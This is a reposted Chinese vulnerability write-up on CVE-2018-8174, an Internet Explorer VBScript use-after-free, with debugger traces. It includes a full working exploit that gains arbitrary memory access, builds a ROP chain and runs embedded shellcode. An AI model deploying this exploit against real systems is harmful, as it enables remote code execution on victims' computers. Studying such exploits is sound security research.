美文网首页
IE VBScript 漏洞之CVE-2018-8174

IE VBScript 漏洞之CVE-2018-8174

作者: 看雪学院 | 来源:发表于2019-01-28 17:12 被阅读16次

我之前在《IE VBScript 漏洞之CVE-2014-6332》中,总结学习了VBScript中的关键数据结构,故在这篇中不再总结。

《IE VBScript 漏洞之CVE-2014-6332》链接:

https://bbs.pediy.com/thread-248925.htm

漏洞分析

POC

启用页堆

gflags.exe /i iexplore.exe +hpa

<!doctype html>

Dim array()

Dim array2(1)

Class MyClass

Private Sub Class_Terminate

 Set array2(0)=array(1)

array(1)=1

End Sub

End Class

Redim array(1)

Set array(1)=New MyClass

Erase array

array2(0)=0

捕获异常如下,我们可以看到eax引用的地址已经被释放了,也就是对应在poc中的Erase array,调用Erase触发了Class_Terminate函数,在Class_Terminate函数中,将array(1) 赋值给了array2,然后又平衡了其引用计数,使得array2成了指向MyClass的悬挂指针,访问array2造成了访问异常。

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0c607fd0 ebx=0aa8af90 ecx=00000009 edx=00000002 esi=0aa8af90 edi=00000009

eip=75a24971 esp=08aadf7c ebp=08aadf84 iopl=0 nv up ei pl nz na po nc

cs=0023 ss=002b  ds=002b  es=002b  fs=0053 gs=002b             efl=00010202

OLEAUT32!VariantClear+0xb3:

75a24971 8b08            mov     ecx,dword ptr [eax]  ds:002b:0c607fd0=????????

0:005> !heap -p -a eax

address 0c607fd0 found in

_DPH_HEAP_ROOT @ a31000

in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)

a33618:          c607000 2000

6d9c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2

77e70acc ntdll!RtlDebugFreeHeap+0x0000002f

77e2a967 ntdll!RtlpFreeHeap+0x0000005d

77dd32f2 ntdll!RtlFreeHeap+0x00000142

772c98cd msvcrt!free+0x000000cd // eax所指向的内存已经被释放掉了

6bc2406c vbscript!VBScriptClass::`vector deleting destructor'+0x00000019

6bc2411a vbscript!VBScriptClass::Release+0x00000043

75a24977 OLEAUT32!VariantClear+0x000000b9

75a3e375 OLEAUT32!ReleaseResources+0x000000a3

75a3e003 OLEAUT32!_SafeArrayDestroyData+0x00000048

75a45d7d OLEAUT32!SafeArrayDestroyData+0x0000000f

75a45d63 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039

6bc6267f vbscript!VbsErase+0x00000057

······


调试

首先,我们将poc修改成如下。看一下正常的释放过程。

Dim array()

Dim array2(1)

Class MyClass

End Class

Redim array(1)

Set array(1)=New MyClass

IsEmpty(array)

Erase array

0:005> p

eax=0c3c4fd0 ebx=0c3c4fd0 ecx=69381748 edx=00000000 esi=76e813b0 edi=0c3c4fd4

eip=69391f08 esp=0894f524 ebp=0894f534 iopl=0 nv up ei pl nz na po nc

cs=0023 ss=002b  ds=002b  es=002b  fs=0053 gs=002b             efl=00000202

vbscript!VBScriptClass::Release+0x15:

69391f08 ffd6            call    esi {kernel32!InterlockedDecrementStub (76e813b0)}

0:005> dd edi

0c3c4fd400000001 00000000 0c28df88 00000a08

0c3c4fe400000000 00000000 00000000 00000000

vbscript!VBScriptClass::Release+0x15:

69391f08 ffd6            call    esi {kernel32!InterlockedDecrementStub (76e813b0)} //引用计数减一

0:005> dps 0c3c4fd0

0c3c4fd069381748 vbscript!VBScriptClass::`vftable'

0c3c4fd4  00000000 //引用计数为0,VBScriptClass被释放

0c3c4fd8  00000000

0c3c4fdc  0c28df88

0c3c4fe0  00000a08

0c3c4fe4  00000000

0c3c4fe8  00000000

0c3c4fec  00000000

0c3c4ff0  00000000

0c3c4ff4  0c136fe4

我们来看看poc中MyClass在VbsScript中的释放过程。

漏洞利用

<!doctype html>

Dim gNumber

Dim arrayA(6),arrayB(6)

Dim index

Dim gArray(40)

Dim hexA, hexB

Dim address

Dim memClassA,memClassB

Dim swapA,swapB

Dim NtContinueAddr,VirtualProtectAddr

hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")

address = 0

index = 0

Function GetUint32(Addr)

Dim value

memClassA.mem(address + 8) = Addr + 4

memClassA.mem(address) = 8                'type string

value = memClassA.P0123456789

memClassA.mem(address) = 2

GetUint32 = value

End Function

Function readWord(addr)

readWord = GetUint32(addr) And 65535

End Function

Function readByte(addr)

readByte = GetUint32(addr) And (&hFF)

End Function

Function GetBaseByDOSmodeSearch(in_addr)

Dim addr

addr = in_addr And &hFFFF0000

Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44

addr = addr-&h10000

Loop

GetBaseByDOSmodeSearch = addr

End Function

Function StrCompWrapper(addr, szName)

Dim str,i

str = ""

For i = 0 To Len(szName) - 1

str = str & Chr(readByte(addr+i))

Next

StrCompWrapper = StrComp(UCase(str), UCase(szName))

End Function

Function GetBaseFromImport(base_address,name_input)

Dim import_rva,nt_header,descriptor,import_dir

Dim addr

nt_header = GetUint32(base_address + (&h3c))

import_rva = GetUint32(base_address + nt_header + &h80)

import_dir = base_address + import_rva

descriptor = 0

Do While True

Dim NameOffset

NameOffset = GetUint32(import_dir + descriptor * (&h14)+&hC)

If NameOffset = 0 Then

GetBaseFromImport = &hBAAD0000

Exit Function

Else

If StrCompWrapper(base_address + NameOffset, name_input) = 0 Then

Exit Do

End If

End If

descriptor = descriptor+1

Loop

addr = GetUint32(import_dir + descriptor * (&h14)+&h10)

addr = GetUint32(base_address + addr)

GetBaseFromImport = GetBaseByDOSmodeSearch(addr)

End Function

Function GetProcAddr(dll_base,name)

Dim p, export_dir, index

Dim function_rvas, function_names, function_ordin

Dim Ordin

p = GetUint32(dll_base + &h3c)

p = GetUint32(dll_base + p + &h78)

export_dir = dll_base + p

function_rvas = dll_base + GetUint32(export_dir + &h1c)

function_names = dll_base + GetUint32(export_dir + &h20)

function_ordin = dll_base + GetUint32(export_dir + &h24)

index = 0

Do While True

Dim offset

offset = GetUint32(function_names + index * 4)

If StrCompWrapper(dll_base + offset, name) = 0 Then

Exit Do

End If

index = index+1

Loop

Ordin = readWord(function_ordin + index * 2)

p = GetUint32(function_rvas + Ordin * 4)

GetProcAddr = dll_base + p

End Function

Function GetShellcode()

hexCode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc")

GetShellcode = hexCode

End Function

Function BuildVirtualTable

Dim i,szNtContinueAddr,str,szAddr0,szAddr8,szAddr16,szAddr24

szNtContinueAddr = NumberToString(NtContinueAddr, 8)

szAddr0 = Mid(szNtContinueAddr,1,2)

szAddr8 = Mid(szNtContinueAddr,3,2)

szAddr16 = Mid(szNtContinueAddr,5,2)

szAddr24 = Mid(szNtContinueAddr,7,2)

str = ""

str = str & "%u0000%u" &szAddr24 &"00"

For i = 1 To 3

str = str & "%u" &szAddr8 &szAddr16

str = str & "%u" &szAddr24 &szAddr0

Next

str = str & "%u" & szAddr8 & szAddr16

str = str & "%u00" & szAddr0

BuildVirtualTable = Unescape(str)

End Function

Function NumberToString(ByVal Number, ByVal Length)

hNumber = Hex(Number)

If Len(hNumber) < Length Then

 hNumber = String(Length - Len(hNumber), "0") & hNumber 'pad allign with zeros

 Else

 hNumber = Right(hNumber, Length)

 End If

 NumberToString = hNumber

End Function

Function EscapeAddress(ByVal value)

 Dim High,Low

 High = NumberToString((value And &hFFFF0000) / &h10000, 4)

 Low = NumberToString(value And &hFFFF, 4)

 EscapeAddress = Unescape("%u"&Low&"%u"&High)

End Function

Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg

 Dim ropChain

'pad1 0 - 10FDC

 ropChain = String(34798, Unescape("%u4141"))

'rop chain

 ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)

 ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)

 ropChain = ropChain & EscapeAddress(&h3000)

 ropChain = ropChain & EscapeAddress(&h40)

 ropChain = ropChain & EscapeAddress(ShellcodeAddrParam-8)

 ropChain = ropChain & String(6, Unescape("%u4242"))

 ropChain = ropChain & BuildVirtualTable()

'pad2

 ropChain = ropChain & String((&h80000 - LenB(ropChain)) / 2, Unescape("%u4141"))

 WrapShellcodeWithNtContinueContext = ropChain

End Function

Function ExpandWithVirtualProtect(ropAddr)

 Dim szContext

 Dim Addr

'0 - 10FDC

 Addr = ropAddr + &h23

 szContext = ""

 szContext = szContext & EscapeAddress(Addr)

 szContext = szContext & String((&hb8 - LenB(szContext)) / 2, Unescape("%4141"))

 szContext = szContext & EscapeAddress(VirtualProtectAddr)

 szContext = szContext & EscapeAddress(&h1b)

 szContext = szContext & EscapeAddress(0)

 szContext = szContext & EscapeAddress(ropAddr)

 szContext = szContext & EscapeAddress(&h23)

 szContext = szContext & String((&400-LenB(szContext))/2,Unescape("%u4343"))

 ExpandWithVirtualProtect = szContext

End Function

Sub ExecuteShellcode

 memClassA.mem(address) = &h4d

 Msgbox "ExecuteShellcode"

 memClassA.mem(address + 8) = 0

End Sub

Class claA

Private Sub Class_Terminate()

 Set arrayA(index) = gNumber(1)

 index = index + 1

 gNumber(1) = 1

End Sub

End Class

Class claB

Private Sub Class_Terminate()

 Set arrayB(index)=gNumber(1)

 index=index+1

 gNumber(1)=1

End Sub

End Class

Class testClass

End Class

Class memClass

Dim mem

Function P

End Function

Function SetProp(Value)

mem = Value

SetProp = 0

End Function

End Class

Class readMemClass

Dim mem

Function P0123456789

 P0123456789 = LenB(mem(address+8))

End Function

Function SPP

End Function

End Class

Class swapObjectA

Public Default Property Get P

Dim object

P = 174088534690791e-324

For i = 0 To 6

arrayA(i) = 0

Next

Set object = New readMemClass

object.mem = hexA

For i = 0 To 6

Set arrayA(i) = object

Next

End Property

End Class

Class swapObjectB

Public Default Property Get P

Dim object

P=636598737289582e-328

For i = 0 To 6

arrayB(i) = 0

Next

Set object = New readMemClass

object.mem = hexB

For i = 0 To 6

Set arrayB(i) = object

Next

End Property

End Class

Set swapA = New swapObjectA

Set swapB = New swapObjectB

Sub UAF

For i = 0 To &h11

Set gArray(i) = New testClass

Next

For i = &h14 To &h26

Set gArray(i) = New memClass

Next

index = 0

For i = 0 To 6

ReDim gNumber(1)

Set gNumber(1) = New claA

Erase gNumber

Next

Set memClassA = New memClass //申请memClass进行占位

arrayB(0) = 0

index = 0

For i = 0 To 6

ReDim gNumber(1)

Set gNumber(1) = New claB

Erase gNumber

Next

Set memClassB = New memClass ////申请memClass进行占位

End Sub

Sub InitObjects

memClassA.SetProp(swapA)

memClassB.SetProp(swapB)

address = memClassB.mem

End Sub

Sub testSub

End Sub

Function GetMemValue

 memClassA.mem(address) = 3

 GetMemValue = memClassA.mem(address + 8)

End Function

Sub SetMemValue(ByRef in_Ref)

 memClassA.mem(address + 8) = in_Ref

End Sub

Function LeakVBAddr

 On Error Resume Next

 Dim pCScriptEntryPointObject

 pCScriptEntryPointObject = testSub

 pCScriptEntryPointObject = null

 SetMemValue pCScriptEntryPointObject

 LeakVBAddr = GetMemValue()

End Function

Sub StartExploit

 UAF

 InitObjects

 pCScriptEntryPointObject = LeakVBAddr()

 pVTable = GetUint32(pCScriptEntryPointObject)

 vbs_base = GetBaseByDOSmodeSearch(pVTable)

 msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")

 krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")

 ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")

 VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")

 NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")

 SetMemValue GetShellcode()

 ShellcodeAddr = GetMemValue() + 8

'同样的方法获得shellcode地址

 SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)

 ropAddr = GetMemValue() + 69596

'ExpandWithVirtualProtect 构建CONTEXT

 SetMemValue ExpandWithVirtualProtect(ropAddr)

 GetMemValue()

 ExecuteShellcode

End Sub

StartExploit


构造数组

在Exploit中,当执行完UAF函数,使用memclass函数对释放的内存进行站位。

0:005> dt ole32!tagSAFEARRAY poi(poi(esp+c)+c)

+0x000 cDims            : 1

+0x002 fFeatures        : 0x892

+0x004 cbElements : 0x10

+0x008 cLocks : 0

+0x00c pvData : 0x0051e630

+0x010 rgsabound        : [1] tagSAFEARRAYBOUND

0:005> dd 0x0051e630

0051e63000000009 00000000 02aa0858 00000000

0051e6406bcb0009 02aa085c 02aa0858 6bcb4211

0051e6506bcb0009 02aa085c 02aa0858 6bcb4211

0051e6606bcb0009 02aa085c 02aa0858 6bcb4211

0051e6706bcb0009 02aa085c 02aa0858 6bcb4211

0051e6806bcb0009 02aa085c 02aa0858 6bcb4211

0051e6906bcb0009 02aa085c 02aa0858 6bcb4211

0051e6a03192fbe7 88000000 00000000 00000000

下面我们来看下InitObjects函数的功能,SetProp函数触发SetProp的Public Default Property Get P函数执行,在此函数中,将memClass再次释放,并再次使用readMemClass进行站位,并将hexA赋值给readMemClass的成员变量mem,将并将返回的P = 174088534690791e-324(00000005 02aa01dc 00000000 0000200c)复制给memClass的成员变量mem。

因为readMemClass和memClass的mem变量地址相差0xc,因此出现了内存重叠。对memClass的成员变量mem赋值造成了readMemClass.mem 的类型变为了一个大小为0x7FFFFFFF每个元素占1Byte的variant,最终实现任意地址读写。

在执行InitObjects函数前,memClass的内存布局。

执行完InitObjects函数之后,我们来看先内存布局。

0:005> dt ole32!tagSAFEARRAY poi(poi(esp+c)+c)

+0x000 cDims            : 1

+0x002 fFeatures        : 0x892

+0x004 cbElements       : 0x10

+0x008 cLocks           : 0

+0x00c pvData           : 0x0051e630

+0x010 rgsabound        : [1] tagSAFEARRAYBOUND

0:005> dd 0x0051e630

0051e630 02aa0009 00000000 02aa0858 00000000

0051e640 02aa0009 00000000 02aa0858 00000000

0051e650 02aa0009 00000000 02aa0858 00000000

0051e660 02aa0009 00000000 02aa0858 00000000

0051e670 02aa0009 00000000 02aa0858 00000000

0051e680 02aa0009 00000000 02aa0858 00000000

0051e690 02aa0009 00000000 02aa0858 00000000

0051e6a03192fbe7 88000000 00000000 00000000

0:005> dd 02aa0858//readMemClass

02aa08586bcb1748 00000001 02aa72d0 0067ea60

02aa0868000008a8 00000000 00000000 00000000

02aa087800000000 0053bac4 00000000 02aa0820

02aa08883316580a 8c000000 6bcbce78 6bcc3100

02aa08986bcc30f0 00000001 0067ea60 00524150

02aa08a800524150 0326ec94 00000000 00000000

02aa08b800000000 00000000 33165803 80000000

02aa08c86bcb00b1 6bcc3100 6bcc30f0 00000000

0:005> du 0053bac4

0053bac4"readMemClass"

0:005> dd 02aa72d0

02aa72d002aa9578 000000b8 00000100 00000100

02aa72e000004000 02aa957c 02aa961c 02aa3018

02aa72f00000000f 00000003 00000040 00000003

02aa730000000014 02aa7308 02aa957c 02aa95c4

02aa731002aa95fc 00000000 00000000 00000000 //02aa95fc = readMemClass.mem

02aa732000000000 00000000 00000000 00000000

02aa733000000000 00000000 00000000 00000000

02aa734000000000 00000000 00000000 00000000

0:005> dd 02aa95fc-c

02aa95f000000005 02aa01dc 00000000 0000200c //P

02aa960000000000 0053baec 00000000 00000000

02aa961000000000 0000822f 00000006 00000000

02aa962000000000 00000003 00000000 0065006d

02aa96300000006d 00000000 00000000 00000000

02aa964000000000 00000000 00000000 00000000

0:005> dd 0053baec

0053baec08800001 00000001 00000000 00000000

0053bafc7fffffff 00000000 00630000 3192b172

0053bb0c8000003d 00650160 00200077 00650072

0053bb1c00640061 0065004d 0043006d 0061006c

获得DLL基址

在Exploit中,通过相同的方法,将memClassB.mem构造成了vblong类型用于泄露地址。

通过以下方法泄露CScriptEntryPoint对象的地址。然后通过对象地址获得vbs的基址。通过VbScript的导出表获得msvcrt.dll的基址,获得ntdll的基址,最终获取了NtContinue、VirtualProtect函数地址。

Function GetMemValue

memClassA.mem(address) = 3

GetMemValue = memClassA.mem(address + 8)

End Function

Sub SetMemValue(ByRef in_Ref)

memClassA.mem(address + 8) = in_Ref

End Sub

Function LeakVBAddr

 On Error Resume Next

Dim pCScriptEntryPointObject

pCScriptEntryPointObject = testSub

pCScriptEntryPointObject = null

SetMemValue pCScriptEntryPointObject

LeakVBAddr = GetMemValue()

End Function

调试验证

0:005> dd poi(esp+c)

0084f35000000003 00000000 03b6c06c 00000000

0084f36002a10003 00595af0 02a17350 1a000218

0084f37002f3cdc4 0084f3a0 0084f380 1a000218

0084f38000000001 00000080 02a17350 1a000218

0084f39000000000 00000000 02a18608 00000000

0084f3a002f3d008 0084f3c0 02a10694 00000000

0084f3b002f30000 0084f4c0 00000000 00000000

0084f3c002f3d24c 0084f4c0 02a18608 00000000

0:005> dd 03b6c06c

03b6c06c00000002 7771e026 02a10003 00595af0

03b6c07c02a17350 1a000218 00000000 2d1edd67

03b6c08c80000000 00000020 00000000 00000000

03b6c09c00000000 00000000 00000000 00000000

03b6c0ac00000000 2d1edd60 80000000 00000025

03b6c0bc00000000 00000000 00000000 00000000

03b6c0cc00000000 00000000 00000000 2d1edd6d

03b6c0dc80000000 0000002a 00000000 00000000

0:005> ln poi(02a17350 )

(70b44934)   vbscript!CScriptEntryPoint::`vftable'   |  (70b5ab54)   vbscript!CEntryPointDispatch::`vftable'

Exact matches:

vbscript!CScriptEntryPoint::`vftable'

 =

Function GetBaseByDOSmodeSearch(in_addr)

Dim addr

addr = in_addr And &hFFFF0000

 Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44 //in DOS

addr = addr-&h10000

 Loop

IsEmpty(addr)

GetBaseByDOSmodeSearch = addr

End Function

获取指定地址的内存数据

Exploit 通过如下的方法获得执行参数的地址内存数据,将address指向的内存混淆成bstr,通过lenB获得改地址前4个字节的数据。

Function GetUint32(Addr)

 Dim value

 memClassA.mem(address + 8) = Addr + 4

 memClassA.mem(address) = 8                'type string

 value = memClassA.P0123456789

 memClassA.mem(address) = 2

 GetUint32 = value

End Function


ShellCode执行

Exploit中,通过和获得关键DLL基址同样的手法,获得shellCode地址,然后构建ROP链,通过精心控制使代码执行ntdll!ZwContinue函数,然后利用任意读写的手段修改某个VAR的type类型为0x4d,再赋值为0让虚拟机执行VAR::Clear函数。最终实现shellcode执行。

Sub ExecuteShellcode

memClassA.mem(address) = &h4d

memClassA.mem(address + 8) = 0

End Sub

原文作者:Heavenml

原文链接:https://bbs.pediy.com/thread-248930.htm

转载请注明,转自看雪学院

更多阅读:

fuzzing技术总结

[原创]ollvm字符混淆修复

[原创]Linux CVE-2017-16995整数扩展问题导致提权漏洞分析

[原创]没有对应驱动文件的系统线程

相关文章

网友评论

      本文标题:IE VBScript 漏洞之CVE-2018-8174

      本文链接:https://www.haomeiwen.com/subject/unaajqtx.html